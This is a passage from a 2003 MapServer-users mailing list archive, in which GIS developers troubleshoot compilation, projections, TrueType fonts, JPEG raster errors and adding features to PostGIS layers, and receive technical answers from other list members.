In previuos posts I read about = tileindex. But=20 in my case, I think, that doesn`t work, because with tileindex user = in map=20 will see only 3 layers: lines, pylons and substations, and=20 can`t choose any separate region. Or i`m I = wrong?
 
Besides, I can`t compile map.h = file (now=20 MS_Maxlayers=3D100): when I compile map.h with MS_Maxlayers=3D400, = mapserv=20 returns the same error. What can be wrong?
 
Thanks in advance,
Vaidas Velykis
Lithuania
------=_NextPart_000_0022_01C2BBC9.D604E1E0-- From nida at webstar.co.uk Tue Jan 14 02:42:00 2003 From: nida at webstar.co.uk (nida Khan) Date: Tue, 14 Jan 2003 10:42:00 -0000 Subject: [Mapserver-users] plot a point on map References: <8AE17DD6AA4FD51191CD0002A5511681074BDB@s5-van1-r1.ess.nrcan.gc.ca> Message-ID: <03bf01c2bbb9$91d08160$a901a8c0@private.webstar.co.uk> This is a multi-part message in MIME format. ------=_NextPart_000_03BC_01C2BBB9.91736D40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi , Thanks to Joost and Lowell I was able to plot the points on my map :). now I have another issue, data I have is in eastings and northings... Is there any formula that I can use to covert this data so I could plot = it on my map?? Many Thanks Nida Khan. ------=_NextPart_000_03BC_01C2BBB9.91736D40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi ,
 
Thanks to Joost and Lowell I was able to plot the = points on my=20 map :).
now I have another issue, data I have is in eastings = and=20 northings...
 
Is there any formula that I can use to covert this = data so I=20 could plot it on my map??
 
 
Many Thanks
Nida Khan.
 
------=_NextPart_000_03BC_01C2BBB9.91736D40-- From mpr at dpi.ufv.br Tue Jan 14 03:58:45 2003 From: mpr at dpi.ufv.br (=?iso-8859-1?Q?Maur=EDcio?= Pereira Reis) Date: Tue, 14 Jan 2003 09:58:45 -0200 Subject: [Mapserver-users] error compiling mapserver - ***shp2img Message-ID: <5.1.0.14.0.20030114093418.00b4ee00@vicosa.dpi.ufv.br> --=====================_2321077==_.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Hi, I am trying to compile nightly builds of mapserver on windows xp using=20 cygwin. This is the first time I try to build this application. I am using the following options with the configuration script. "./configure --with-gd=3D../gd-1.8.4 --with-proj=3D/usr/local" proj-4.4.5 gd-1.8.4 freetype-1.3 When I run 'make' I get the following problem gcc -02 - Wall=20 -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H=20 -DUSE_WMS_SVR -DUSE_GD_SWAP_XY -I/usr/src/projects/mapserver_dev/..gd-1.8.4=20 -I/usr/local/include shp2img.o -L -lmap=20 -L/usr/src/projects/mapserver_dev/../gd-1.8.4/.libs -lgd -L/lib -lpng=20 -L/lib -lz -L/lib -lXpm -lX11 -L/lib -lpng -L/lib -lz -L/lib -lXpm -lX11 -= =20 L/usr/local/lib -lproj -lm -o shp2img /usr/lib/gcc-lib/i686-pc-cygwin/3.2/../../../../i686-pc-cygwin/bin/ld:=20 cannot find -lX11 collect2: ld returned 1 exit status make: *** [shp2img] Error 1 Any ideas? Thanks, Maur=EDcio ------ Mauricio Pereira Reis Graduando em Ci=EAncia da Computa=E7=E3o Universidade Federal de Vi=E7osa - UFV --=====================_2321077==_.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi,

I am trying to compile nightly builds of mapserver on windows xp using cygwin. This is the first time I try to build this application.
 I am using the following options with the configuration script.
"./configure --with-gd=3D../gd-1.8.4 --with-proj=3D/usr/local"

proj-4.4.5
gd-1.8.4
freetype-1.3
 
When I run 'make' I get the following problem

gcc -02 - Wall -DIGNORE_MISSING_DATA    -DUSE_EPPL    &n= bsp; -DUSE_PROJ      -DUSE_PROJ_API_H        -DUSE_WMS_SVR
-DUSE_GD_SWAP_XY        -I/usr/src/projects/mapserver_dev/..gd-1.8.4   &nbs= p;-I/usr/local/include    shp2img= .o  -L -lmap -L/usr/src/projects/mapserver_dev/../gd-1.8.4/.libs -lgd    -L/lib -lpng -L/lib -lz -L/lib -lXpm -lX11 -L/lib -lpng -L/lib -lz -L/lib -lXpm -lX11 - L/usr/local/lib -lproj   -lm    -o shp2img
/usr/lib/gcc-lib/i686-pc-cygwin/3.2/../../../../i686-pc-cygwin/bin/ld: =   cannot find -lX11
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1


Any ideas?
Thanks,

Maur=EDcio


------
Mauricio Pereira Reis
Graduando em Ci=EAncia da Computa=E7=E3o
Universidade Federal de Vi=E7osa - UFV --=====================_2321077==_.ALT-- From Norman Tue Jan 14 04:43:28 2003 From: Norman (Norman) Date: Tue, 14 Jan 2003 07:43:28 -0500 Subject: [Mapserver-users] error compiling mapserver - ***shp2img References: <5.1.0.14.0.20030114093418.00b4ee00@vicosa.dpi.ufv.br> Message-ID: <01da01c2bbca$8c909a30$cc36ba8c@sfdev3> Maur?cio Pereira Reis writes: > I am trying to compile nightly builds of mapserver on windows xp using > cygwin. This is the first time I try to build this application. > I am using the following options with the configuration script. > "./configure --with-gd=../gd-1.8.4 --with-proj=/usr/local" > When I run 'make' I get the following problem > cannot find -lX11 > collect2: ld returned 1 exit status > make: *** [shp2img] Error 1 > Any ideas? try "./configure --with-gd=../gd-1.8.4 --with-proj=/usr/local --with-xpm=no" HTH Norman From lfilak at medinaco.org Tue Jan 14 05:09:17 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 14 Jan 2003 08:09:17 -0500 Subject: [Mapserver-users] plot a point on map Message-ID: <200301141306.h0ED66R06859@yogi.medinaco.net> Yes. You can either use the projectionObj in Mapscript or a 'system' call to the 'cs2cs' command. Both require that PROJ.4 is installed and projectionObj requires that MS was compiled with PROJ.4 support. HTH Lowell F. The following message was sent by "nida Khan" on Tue, 14 Jan 2003 10:42:00 -0000. > Hi , > > Thanks to Joost and Lowell I was able to plot the points on my map :). > now I have another issue, data I have is in eastings and northings... > > Is there any formula that I can use to covert this data so I could plot > it on my map?? > > > Many Thanks > Nida Khan. > > From calin at internetgids.be Tue Jan 14 08:24:37 2003 From: calin at internetgids.be (Calin D. NITU) Date: Tue, 14 Jan 2003 17:24:37 +0100 Subject: [Mapserver-users] Working with TrueType Fonts Message-ID: <020b01c2bbe9$6ea20080$0900a8c0@cpi.local> I am trying to display a True Type font. My map file looks like: map extent 76952.80 189962.49 92359.36 202061.55 name "test 2" shapepath "data" size 600 450 status on fontset 'font/fonts.txt' units meters ........ ........ LAYER NAME roads_name_init GROUP "roads" DATA "roads" MINSCALE 5000 STATUS ON TYPE ANNOTATION LABELCACHE ON LABELITEM "NUMBER" CLASS LABEL TYPE truetype FONT fritqat MINFEATURESIZE AUTO MINDISTANCE 100 ANTIALIAS TRUE COLOR 0 0 0 OUTLINECOLOR 220 220 220 SIZE 11 ANGLE AUTO POSITION AUTO OFFSET 0 2 buffer 2 END #LABEL END #CLASS END #LAYER ROADS-NAME I created a directory called FONT under the directory where it is the '*.map' file Here I put all the TTF files and I created a list with the fonts - named FONTS.TXT: fritqat fritqat.ttf fritqat-bold fritqtb0.ttf fritqat-italic fritqti0.ttf fritqat-bold-italic fritqtb2.ttf The error that I get is - "MapServer Error in msGetLabelSize(): Could not find/open font in ....." - with PHP environment - "msGetLabelSize(): TrueType Font error. Could not find/open font" - with clasic HTML We are using the stabile version of MAPSERVER 3.6. Thank you, Calin From jmccue at geovue.com Tue Jan 14 09:21:45 2003 From: jmccue at geovue.com (John McCue) Date: Tue, 14 Jan 2003 12:21:45 -0500 Subject: [Mapserver-users] Projections Message-ID: I am still trying to get a correct projection in MapServer. I have defined a PROJECTION object in the MAP object to use an EPSG code: PROJECTION "init=epsg:26986" #Massachusetts Mainland State Plane, NAD83 END I have also defined that same projection in each of my layers. My data is in geographic coordinates (lon/lat). My problem is that the image appears to be contracted from north to south. - Are my projection specifications correct? - Is this a different problem, maybe setting the image size? Thanks for any help, John From ed at topozone.com Tue Jan 14 09:40:38 2003 From: ed at topozone.com (Ed McNierney) Date: Tue, 14 Jan 2003 12:40:38 -0500 Subject: [Mapserver-users] Projections Message-ID: <13858AA1A74F30419F319ACB66A9D122019590@mercator.topozone.com> John - The PROJECTION object at the top-level in your MAP file describes the desired projection of the output image. The PROJECTION object inside each LAYER object describes the source projection of the data for that layer. That's the only way MapServer knows whether the source data needs to be (re)projected when it's added to the output image. If your data is in geographic coordinates, you need to have a PROJECTION block such as: Projection proj=latlong ellps=GRS80 End (assuming that's the correct ellipsoid) in the LAYER block. Otherwise MapServer will assume that the input is the same as the output projection and do nothing to project it. There may also be an image size problem, but let's fix this one first! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: John McCue [mailto:jmccue at geovue.com] Sent: Tuesday, January 14, 2003 12:22 PM To: Mapserver-Users Subject: [Mapserver-users] Projections I am still trying to get a correct projection in MapServer. I have defined a PROJECTION object in the MAP object to use an EPSG code: PROJECTION "init=epsg:26986" #Massachusetts Mainland State Plane, NAD83 END I have also defined that same projection in each of my layers. My data is in geographic coordinates (lon/lat). My problem is that the image appears to be contracted from north to south. - Are my projection specifications correct? - Is this a different problem, maybe setting the image size? Thanks for any help, John _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From collao_andres at hotmail.com Tue Jan 14 09:49:16 2003 From: collao_andres at hotmail.com (=?iso-8859-1?B?QW5kculzIENvbGxhbw==?=) Date: Tue, 14 Jan 2003 17:49:16 +0000 Subject: [Mapserver-users] ogr and MapInfo Message-ID: I do not know as a file of MAPINFO with MAPSERVER can be used, is necessary to transform it or to turn it to another one file or is necessary to use a special commando of MAPSCRITP in the file .MAP Atte. --------------- Andr?s Collao. --------------- Icq # 36107225 collao_andres at hotmail.com acollao at inf.utfsm.cl "El hombre es un Dios cuando sue?a y un mendigo cuando reflexiona". :-- Il peggior nemico del succeso ? la pauta del fallimiento :-- El peor enemigo del ?xito es el miedo al fracaso _________________________________________________________________ Charla con tus amigos en l?nea mediante MSN Messenger: http://messenger.microsoft.com/es From DOtt at PALATINE.IL.US Tue Jan 14 10:02:45 2003 From: DOtt at PALATINE.IL.US (Dale Ott) Date: Tue, 14 Jan 2003 12:02:45 -0600 Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #43 - 19 msgs (Auto Reply.) Message-ID: Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks! From ycnyon at pd.jaring.my Tue Jan 14 22:05:50 2003 From: ycnyon at pd.jaring.my (YC Nyon) Date: Wed, 15 Jan 2003 14:05:50 +0800 Subject: [Mapserver-users] RE: Can't limit the zoom in/out Message-ID: <001001c2bc5c$dea45540$5340baca@gis> Hi, I'm using PHP 4.1.2 and MS3.6. Everything works fine except i can't limit the zoom in/out. Tried setting it in the map file using the 'minscale' and 'maxscale' keywords but no success. The values is correct as i read them off the $GetScale = $map->scale; Nyon --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.443 / Virus Database: 248 - Release Date: 10/01/2003 From jmccue at geovue.com Tue Jan 14 10:14:24 2003 From: jmccue at geovue.com (John McCue) Date: Tue, 14 Jan 2003 13:14:24 -0500 Subject: [Mapserver-users] Projections In-Reply-To: <13858AA1A74F30419F319ACB66A9D122019590@mercator.topozone.com> Message-ID: Thanks Ed! I didn't change my EXTENT in the map file to use Mass. State Plane coordinates, so I was getting a blank image. Since my MAP projection specified MA state plane, I could no longer use the lon/lat extents. A major failing of the SHP file format is that the coordinate system that the data was created in doesn't exist in the file. If the coordinate system was there, people and software would have an easier time with issues like converting data, and layers overlaying correctly. Thanks again! John From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Tue Jan 14 10:38:13 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Tue, 14 Jan 2003 13:38:13 -0500 Subject: [Mapserver-users] Definition Projections, raw proj parameters vs EPSG code Message-ID: <7CDD7B94357FD5119E800002A537C46E230599@s5-ccr-r1.ccrs.nrcan.gc.ca> Hello, I was wondering about the whole PROJ handling in MapServer. More precisely, whether PROJ/MapServer does revers lookups on the EPSG list. For instance, there is a fake EPSG code out there (cubewerx software users will be familiar with this) that is EPSG:42304. Now it turns out that that is the exact projection of our data. So, when defining the projection of a layer in a MapFile used for WMS (or WFS I guess), am I better off using the EPSG code, or a full definition ? does it matter ? In the case where the output projection is the same as the input, is there an advantage to defining the layer using the EPSG code (MapServer is smart enough to recognize no reprojection is needed, since the EPSG code for both ends is the same), or does it reproject anyways? What if the layer defines the projection using full PROJ.4 parameters, does MapServer recognize it as being that same EPSG code projection, and skip the re-projection, or does it reproject anyways (to the same projection)? I'm guessing specifying projections with the EPSG code everywhere possible is more efficient, but I want to check before I have to go and edit a bunch of layers. Thanks, Jean-Fran?ois Doyon Internet Service Development and Systems Support / Soutien de syst?mes et developement de services Internet GeoAccess Division / Division G?oAcc?s Canada Center for Remote Sensing / Centre canadien de t?l?d?tection Natural Resources Canada / Ressources naturelles Canada Phone / T?l?phone: (613) 992-4902 Fax / T?l?copieur: (613) 947-2410 http://atlas.gc.ca From bwragg at tpg.com.au Tue Jan 14 14:49:31 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Wed, 15 Jan 2003 09:19:31 +1030 Subject: [Mapserver-users] Adding Features to PostGIS Layer - Confused Message-ID: <000001c2bc1f$3423e190$0100a8c0@mapping12> Hi all, Currently were running PHP-MapScript and PostGIS and I?m trying to build into my site the ability to add a feature to a map by specifying one or more XY coordinates. The feature that?s created, whether it be a point, line or polygon, must be able to be drawn on the map with a label, used to select features from another layer and the layer must be displayed in the legend. My initial thoughts for doing this were something along the lines of: 1. Create a feature according to the needed type. E.g PointObj for a point. 2. Pass the feature object to the LayerObj->addFeature() method. 2. Turn the LayerObj on. 3. Draw the map. But after looking at the documentation I couldn't get this concept to fit because it says that only a ShapeObj can be passed to the LayerObj->addFeature method. The only way to create a ShapeObj is to use the ShapeObj->add() method. This method though only accepts LineObj's. So as a result of my understanding of the documentation, no matter what type of feature I want to create, I must create a LineObj first, pass this to the ShapeObj and then pass the ShapObj to the LayerObj->addFeature(). So now I?ve came up with the following way of tackling the problem, but I?m not sure if I?m using the correct functions and objects or if I have the correct understanding at all: 1. Create a LineObj for every XY coordinate that?s received, even if it?s a point or polygon that needed. 2. Use the LineObj->setXY() method to set the coordinates for the line. 3. Create a ShapeObj, specifying the Type as point, line or polygon. 4. Use the ShapeObj->add() method to add each LineObj to the ShapeObj. 5. Pass the ShapeObj to the LayerObj->addFeature() method. (Remember the layer is in PostGIS) 6. Turn the LayerObj on. 7. Draw the map. (Since it?s a PostGIS layer the new feature should be displayed instantly) 8. Draw the legend Am I way off the track??? Help??? Benjamin From pramsey at refractions.net Tue Jan 14 15:00:22 2003 From: pramsey at refractions.net (Paul Ramsey) Date: Tue, 14 Jan 2003 15:00:22 -0800 Subject: [Mapserver-users] Adding Features to PostGIS Layer - Confused In-Reply-To: <000001c2bc1f$3423e190$0100a8c0@mapping12> References: <000001c2bc1f$3423e190$0100a8c0@mapping12> Message-ID: <3E249686.3060601@refractions.net> Yes, quite a ways off track... the writable aspects of Mapserver/Mapscript layers all adhere to Shape file data sources only. This is a legacy issue from back when that was the only data source, and therefor the only one worthy of enhancement :) HOWEVER: you can add features to a PostGIS data source via the back door. Use a direct pgsql connection within PHP to connect to the PostGIS database, and run a SQL 'insert' command on the table to add your new feature. DEVELOPERS: should the layer concepts be extended to allow all layer types to be read/writable via the same scripting mechanisms? Benjamin Wragg wrote: > Hi all, > > Currently were running PHP-MapScript and PostGIS and I?m trying to build > into my site the ability to add a feature to a map by specifying one or > more XY coordinates. The feature that?s created, whether it be a point, > line or polygon, must be able to be drawn on the map with a label, used > to select features from another layer and the layer must be displayed in > the legend. My initial thoughts for doing this were something along the > lines of: > > 1. Create a feature according to the needed type. E.g PointObj for a > point. > 2. Pass the feature object to the LayerObj->addFeature() method. > 2. Turn the LayerObj on. > 3. Draw the map. > > But after looking at the documentation I couldn't get this concept to > fit because it says that only a ShapeObj can be passed to the > LayerObj->addFeature method. The only way to create a ShapeObj is to use > the ShapeObj->add() method. This method though only accepts LineObj's. > So as a result of my understanding of the documentation, no matter what > type of feature I want to create, I must create a LineObj first, pass > this to the ShapeObj and then pass the ShapObj to the > LayerObj->addFeature(). So now I?ve came up with the following way of > tackling the problem, but I?m not sure if I?m using the correct > functions and objects or if I have the correct understanding at all: > > 1. Create a LineObj for every XY coordinate that?s received, even if > it?s a point or polygon that needed. > 2. Use the LineObj->setXY() method to set the coordinates for the line. > 3. Create a ShapeObj, specifying the Type as point, line or polygon. > 4. Use the ShapeObj->add() method to add each LineObj to the ShapeObj. > 5. Pass the ShapeObj to the LayerObj->addFeature() method. (Remember the > layer is in PostGIS) > 6. Turn the LayerObj on. > 7. Draw the map. (Since it?s a PostGIS layer the new feature should be > displayed instantly) > 8. Draw the legend > > Am I way off the track??? Help??? > > Benjamin > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From Zatorsky.MichaelP at police.qld.gov.au Tue Jan 14 15:40:23 2003 From: Zatorsky.MichaelP at police.qld.gov.au (Zatorsky.MichaelP at police.qld.gov.au) Date: Wed, 15 Jan 2003 09:40:23 +1000 Subject: [Mapserver-users] Raster support - JPG problem Message-ID: <490DDC5F1BA13F49A366F2BEFCFACB1B5B03E3@CIT-XCH-02.prds.qldpol> Hi, I have a number of raster images of topographic maps in jpeg (JPG) format. The images are projected into a regional transverse Mercator projection and display perfectly in ArcView & ArcExplorer using a world-file and in MapInfo using a TAB registration file. Each image is between 2-4 MB and has dimensions of approximately 5000 by 5000 pixels. I am currently using MapServer 3.6.3 with GDAL support (pre-compiled Windows binaries) and GIF output. When I attempt to load the image into MapServer as a layer LAYER NAME "sheets100k_images" DATA "images\topomap_100k\au7669a.jpg" STATUS DEFAULT TYPE RASTER PROJECTION #MGA Zone 56 "proj=tmerc" "datum=WGS84" "lon_0=141" # central meridian, zone 54 "sf=0.9996" "y_0=10000000" "x_0=500000" END END ... I receive the following error message: CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: JPEG parameter struct mismatch: library thinks size is 432, caller expects 464 If I convert the image to a TIFF, and rename the file in Map file, it displays perfectly. The fact the JPG is readable by everything else I have that reads JPG suggests the problem is not a corrupt image. The fact the TIFFs work suggests that there problem isn't with the projection complications. (The problem with the TIFFS is that even with LZW compression each image is between 30-40 MB, and I have 200 of them, so a highly compressed format like JPG is valuable). Is there a known problem with using JPG as an input data type in the version of MapServer I'm using? Any advice will be appreciated. Regards Michael. Michael Zatorsky Manager, Geographic Information Services Queensland Police Service GPO Box 1440, Brisbane, QLD 4001, AUSTRALIA p. 07 3364 4384 f. 07 3364 3942 e. zatorsky.michaelp at police.qld.gov.au ********************************************************************** CONFIDENTIALITY: The information contained in this electronic mail message and any electronic files attached to it may be confidential information, and may also be the subject of legal professional privilege and/or public interest immunity. If you are not the intended recipient you are required to delete it. Any use, disclosure or copying or this message and any attachments is unauthorised. If you have received this electronic message in error, please inform the sender or contact securityscanner at police.qld.gov.au. This footnote also confirms that this email message has been checked for the presence of computer viruses. ********************************************************************** From lyndon.zimmermann at adelaide.edu.au Tue Jan 14 16:47:40 2003 From: lyndon.zimmermann at adelaide.edu.au (Lyndon Zimmermann) Date: Wed, 15 Jan 2003 11:17:40 +1030 Subject: [Mapserver-users] Buffering problems References: <000a01c2b655$fc83d9d0$e89e063d@clickntrac> Message-ID: <3E24AFAC.ED839648@adelaide.edu.au> Greetings, I'd like to simulate buffering of a point theme (though may later want to repeat for a line theme), mapping the region within say 200km of a port without going to the hassle of creating a polygon theme. I tried: LAYER NAME ports # Actually a node theme TYPE point STATUS ON DATA ports CLASS COLOR 0 0 255 # blue SYMBOL 's10' SIZEUNITS 'kilometers' SIZE 200 END QUERY TEMPLATE "query_ports.html" END TOLERANCE 12 END with Symbol Name 's10' Type ELLIPSE Filled Points 1 1 END END It worked until I add the SIZEUNITS, then I get the error: loadClass(): Unknown identifier. (SIZEUNITS):(112) I'm using Mapserver 3.4 (I think) png version precompiled on a Windows NT box. Any clues gratefully received. I've considered updating to 3.6 but I'm not sure what headaches this will create. Lyndon Z Adelaide, Australia From Norman Tue Jan 14 19:06:17 2003 From: Norman (Norman) Date: Tue, 14 Jan 2003 22:06:17 -0500 Subject: [Mapserver-users] Raster support - JPG problem References: <490DDC5F1BA13F49A366F2BEFCFACB1B5B03E3@CIT-XCH-02.prds.qldpol> Message-ID: <08de01c2bc43$13bab8b0$cc36ba8c@sfdev3> Zatorsky MichaelP writes: > Hi, > > I have a number of raster images of topographic maps in jpeg (JPG) format. > > I am currently using MapServer 3.6.3 with GDAL support (pre-compiled Windows binaries) and GIF output. > > When I attempt to load the image into MapServer as a layer > ... I receive the following error message: > > CGI Error > The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: > > > JPEG parameter struct mismatch: library thinks size is 432, caller expects 464 Hmm.. It looks like the jpeg tiff libraries mapserver is using were not compiled with the same compiler flags in the Windows binary disribution FWIW - usually compile GDAL with the internal version of these libraries thus insuring that they have the same data layout size and obliviating the need for sepaate dll's MapServer seems to run just find doing it this way Cheers Norman From mccrone at pc.jaring.my Tue Jan 14 19:32:08 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Wed, 15 Jan 2003 11:32:08 +0800 Subject: [Mapserver-users] Testsuite - itemquery problems Message-ID: <006d01c2bc46$b42680b0$7c9f063d@clickntrac> Hi again, What I thought would be a simple task has once again caused me problems. I'm sure its just a silly mistake but I can't seem to find it. I am duplicating what the itemquery case1 sample does. However, the first map is generated, but the second, "zoomed in" is not. It finds the data no problem but the image does not get generated and dumped into the image directory /tmp To assist here is the relevant parts - Index.html ======= MapServer 3.5 Tutorial

Pick one:
map file ====== MAP NAME case1 SHAPEPATH "Data" SIZE 300 300 EXTENT 74000 4775000 798000 5499000 WEB IMAGEPATH "set in index.html" IMAGEURL "set in index.html" END QUERYMAP STATUS ON STYLE HILITE COLOR 255 255 0 END LAYER NAME county DATA county STATUS ON TYPE POLYGON FILTERITEM cty_name FILTER "%value%" CLASS COLOR 212 212 212 OUTLINECOLOR 0 0 0 TEMPLATE case1_template.html END END END Template file ========= ItemQuery Example Case 1: Simple ItemQuery

Dump of attributes from that county:

Name: [CTY_NAME]
ID Number: [COUN]
Abbreviation Code: [CTY_ABBR]

and here's the map of the query results (you can zoom to a set of results as well):

From morissette at dmsolutions.ca Tue Jan 14 20:48:49 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 14 Jan 2003 23:48:49 -0500 Subject: [Mapserver-users] Buffering problems References: <000a01c2b655$fc83d9d0$e89e063d@clickntrac> <3E24AFAC.ED839648@adelaide.edu.au> Message-ID: <3E24E831.AC9F6059@dmsolutions.ca> Lyndon Zimmermann wrote: > > It worked until I add the SIZEUNITS, then I get the error: > > loadClass(): Unknown identifier. (SIZEUNITS):(112) > SIZEUNITS is a LAYER parameter (at least in 3.6/3.7). Try moving it to the LAYER level in your mapfile. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Tue Jan 14 20:54:21 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 14 Jan 2003 23:54:21 -0500 Subject: [Mapserver-users] Raster support - JPG problem References: <490DDC5F1BA13F49A366F2BEFCFACB1B5B03E3@CIT-XCH-02.prds.qldpol> Message-ID: <3E24E97D.BD2D8D97@dmsolutions.ca> Zatorsky.MichaelP at police.qld.gov.au wrote: > > ... I receive the following error message: > > CGI Error > The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: > > JPEG parameter struct mismatch: library thinks size is 432, caller expects 464 > That's a known issue (library conflict) with our Win32 builds, I don't think it's been resolved yet, see http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=203 -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Tue Jan 14 21:06:05 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 15 Jan 2003 00:06:05 -0500 Subject: [Mapserver-users] Adding Features to PostGIS Layer - Confused References: <000001c2bc1f$3423e190$0100a8c0@mapping12> <3E249686.3060601@refractions.net> Message-ID: <3E24EC3D.9A831C78@dmsolutions.ca> Paul Ramsey wrote: > > Yes, quite a ways off track... the writable aspects of > Mapserver/Mapscript layers all adhere to Shape file data sources only. > This is a legacy issue from back when that was the only data source, and > therefor the only one worthy of enhancement :) > Unless I'm mistaken, the $layer->addFeature() method doesn't even apply to shapefiles. It is only there to create inline features in a layer (in memory). To write to a shapefile you have to use the shapefileObj class. > HOWEVER: you can add features to a PostGIS data source via the back > door. Use a direct pgsql connection within PHP to connect to the PostGIS > database, and run a SQL 'insert' command on the table to add your new > feature. > I think this should remain the preferred way to add features to a RDBMS layer anyway. Doing it via MapServer is just going to add overhead and restrict your ability to take full advantage of the features of the layer format (PostGIS in this case). > DEVELOPERS: should the layer concepts be extended to allow all layer > types to be read/writable via the same scripting mechanisms? > As mentioned above the layerObj are read-only and making them support write access may not be the best thing to do. Instead we could consider creating a clone of the shapefileObj that would use OGR at the lower level (or extending shapefileObj to support OGR formats). Since OGR already supports most formats that MapServer does (including PostGIS), that would keep things much simpler: only one interface to maintain instead of having to extend all format drivers in MapServer and making them more complicated than they need to be. And once again, for databases like PostGIS I think doing direct SQL calls to add or update feature should be the preferred approach. (Note that this is just my opinion. Other developers may have a different opinion.) Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Tue Jan 14 21:22:56 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 15 Jan 2003 00:22:56 -0500 Subject: [Mapserver-users] Definition Projections, raw proj parameters vs EPSG code References: <7CDD7B94357FD5119E800002A537C46E230599@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: <3E24F030.40C2D5D5@dmsolutions.ca> JF, These are all very legitimate questions but unfortunately I don't think anyone will have clear answers for you. Your questions are in a grey area and we would need to do some checking to find the answers... read on... Jean-Francois.Doyon at ccrs.nrcan.gc.ca wrote: > > So, when defining the projection of a layer in a MapFile used for WMS (or > WFS I guess), am I better off using the EPSG code, or a full definition ? > does it matter ? > For readibility of the mapfile, the EPSG code is better, but in doing some profiling we realized that PROJ's time spent reading the EPSG file adds a non-negligible overhead to MapServer requests. So I'm not sure what's best... > In the case where the output projection is the same as the input, is there > an advantage to defining the layer using the EPSG code (MapServer is smart > enough to recognize no reprojection is needed, since the EPSG code for both > ends is the same), or does it reproject anyways? What if the layer defines > the projection using full PROJ.4 parameters, does MapServer recognize it as > being that same EPSG code projection, and skip the re-projection, or does it > reproject anyways (to the same projection)? > In theory it should recognize that the projections are the same and skip the reprojection, there is a msProjectionDiffers() function in the code for that but I'm not 100% sure that this is always happening properly and/or that this function is used everywhere it should be. So once again this would need some experimentation in order to give you a clear answer. This is a very important question I agree since it represents a potential waste of CPU cycles... (unfortunately all those details take time...) > I'm guessing specifying projections with the EPSG code everywhere possible > is more efficient, but I want to check before I have to go and edit a bunch > of layers. > As mentioned above, I'm not convinced that it would be more efficient. The main reason being that PROJ seems to re-read the 'epsg' file everytime it receives and EPSG code. I could be wrong on this, but that's the impression that I have, and one of the many things I want to check one day when I have some free CPU cycles. ;) Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Tue Jan 14 21:26:47 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 15 Jan 2003 00:26:47 -0500 Subject: [Mapserver-users] ogr and MapInfo References: Message-ID: <3E24F117.F6D92779@dmsolutions.ca> Andr?s Collao wrote: > > I do not know as a file of MAPINFO with MAPSERVER can be used, is necessary > to transform it or to turn it to another one file or is necessary to use a > special commando of MAPSCRITP in the file .MAP > You do not have to import the files, MapServer will read them directly in TAB format if it is compiled with the OGR option. For all the details, see http://mapserver.gis.umn.edu/doc36/ogr-howto.html -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Tue Jan 14 21:30:40 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 15 Jan 2003 00:30:40 -0500 Subject: [Mapserver-users] Working with TrueType Fonts References: <020b01c2bbe9$6ea20080$0900a8c0@cpi.local> Message-ID: <3E24F200.1F8D51FB@dmsolutions.ca> "Calin D. NITU" wrote: > > I created a directory called FONT under the directory where it is the > '*.map' file > Here I put all the TTF files and I created a list with the fonts - named > FONTS.TXT: > fritqat fritqat.ttf > fritqat-bold fritqtb0.ttf > fritqat-italic fritqti0.ttf > fritqat-bold-italic fritqtb2.ttf > > The error that I get is > - "MapServer Error in msGetLabelSize(): Could not find/open font > in ....." - with PHP environment > - "msGetLabelSize(): TrueType Font error. Could not find/open > font" - with clasic HTML > > We are using the stabile version of MAPSERVER 3.6. > Is your MapServer compiled with Freetype2 by any 